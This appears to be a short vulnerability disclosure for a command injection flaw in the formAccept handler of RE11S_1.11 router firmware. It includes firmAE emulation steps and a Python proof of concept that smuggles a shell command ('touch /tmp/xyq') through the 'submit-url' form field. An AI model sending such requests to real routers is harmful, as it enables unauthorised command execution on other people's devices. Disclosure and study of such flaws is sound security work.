RE11S_1.11-formAccept-CommandInjection

During my internship at Qi An Xin Tiangong Lab, I discovered a command injection vulnerability in the RE11S_1.11 router.

By analyzing the webs file in the bin directory, I found that the function formAccept contains a command injection vulnerability.

The command injection can be triggered by the submit-url key value, which leads to a system command injection.

How can we simulate a router

Use the following command to simulate with firmAE.

sudo ./run.sh -r v1 ~/IOT/RE11S_1.11/RE11S_1.11.bin

The content of the poc.py file is as follows:

import requests

url = "http://192.168.9.2/goform/formAccept"
data = {
	"submit-url":"touch /tmp/xyq"
}

r = requests.post(url,data=data)
print(r.text)

Attack result

It can be seen that a /tmp/xyq file is added after the execution, which proves that the attack is successful.